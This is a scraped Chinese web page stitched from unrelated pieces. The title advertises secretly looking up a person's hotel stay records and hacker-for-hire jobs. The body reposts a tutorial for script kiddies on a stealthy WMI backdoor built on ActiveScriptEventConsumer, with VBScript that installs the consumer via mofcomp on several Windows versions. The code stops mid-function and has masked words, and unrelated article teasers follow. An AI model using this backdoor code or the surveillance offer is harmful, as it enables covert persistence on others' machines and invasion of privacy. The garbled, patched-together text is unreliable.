如何查询在酒店在宾馆和谁在一起的开房记录(偷偷查,发...

访客3年前关于黑客接单683

来源:菠萝的菠萝格 

Welcome!各位ScriptKid,欢迎来到脚本世界。 

今天忙了一天,比较累。不废话那么多了,切入正题。 

这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这 类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 CommandLineEventConsumer等等 

ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的 *** /VBS脚本。 

先来看一下其原型: 

复制代码代码如下:
class ActiveScriptEventConsumer : __EventConsumer 

uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读 
uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止 
string MachineName; 
uint32 MaximumQueueSize; 
string Name; //自定义的事件消费者的名字。 
string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者 *** cript 
string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。 
string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我,有我没你 
}; 


ASEC的安装 

对于XP以后的系统来说,ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的 mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器 的话,还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。 

复制代码代码如下:
Function InstallASECForWin2K ’安装ASEC For Windows 2000’ 
Dim ASECPath2K 
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) 
MofContent = MofFile.Readall 
MofFile.Close 
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间 
TempMofFile=ASECPath2K&"Temp.mof" 
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) 
TempMof.Write MofContent 
TempMof.close 
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE 
FSO.DeleteFile(TempMofFile) 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWin2K Install OK!" 
End Function 
Function InstallASECForWinXP ’安装ASEC For Windows XP’ 
Dim ASECPathXP 
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接运行安装即可 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWinXP Install OK!" 
End Function 
Function InstallASECForVista ’安装ASEC For Windows Vista’ 
Dim ASECPath2K 
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof") 
Set MofFile = f.OpenAsTextStream(1,-2) 
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) 
MofContent = MofFile.Readall 
MofFile.Close 
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错 
TempMofFile=ASECPath2K&"Temp.mof" 
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) 


相关文章

微信拍一拍怎么加后缀 后缀添加方法 微信拍一拍怎么设置详细方法

微信拍一拍怎么加后缀 后缀添加方法 微信拍一拍怎么设置详细方法

最近发现拍了拍后缀搞笑 教大家如何设置微信拍一拍设置搞笑后缀这话题成为了来自R.网友关注的焦点,小明对拍了拍后缀搞笑 教大家如何设置微信拍一拍设置搞笑后缀比较感兴趣,于是收集了一份相关资料供给大家更深...

《这!就是少年》 不甘平凡后生可畏

伴随着本周第六期节目的播出,六位导师至此已经全部亮相,六位性格各异的导师指导少年的风格为节目带来了许多的讨论话题。而在预估的热度下,第六期节目播出后,全网播放量将突破...

著名电影表演艺术家杨在葆去世,享年85岁

杨在葆 他演过连长石东根、演过将军罗霄、演过地质学院毕业生肖继业,演过厂长罗心刚,也演过代理市长萧子云……1935年出生在安徽宿州,1959年从上海戏剧学院表演系毕业...

找代办公司注册公司需要注意什么(注册公司流程及费用)

  对于现在很多人在注册公司的时候都不是很清楚一些公司注册的流程步骤以及需要准备哪些公司注册材料。今天我们就跟随小编一起来看看找代办公司注册的时候有哪些细节是需要我们多加注意的呢?   在宁德注册公司...

(新版)如何将网站改版损失降到最低

4月中下旬,站长学院发出文章《如何将改版后的收录损失降到最低》,被广大站长以及SEO从业人员转载学习。三个月过去了,我们的工具也发生了多次升级,为了方便大家学习操作,今日特意对文章内容进行了更新,具体...

运营方案怎么写,你真的懂吗?

运营方案怎么写,你真的懂?(经典范文) 运营方案范畴可广可窄,可以是一个项目的整体运营规划(短、中、长期);也可以仅指新媒体运营方案、社区运营方案等。 这里不过多解说理论,以一个实操过的图库项目(...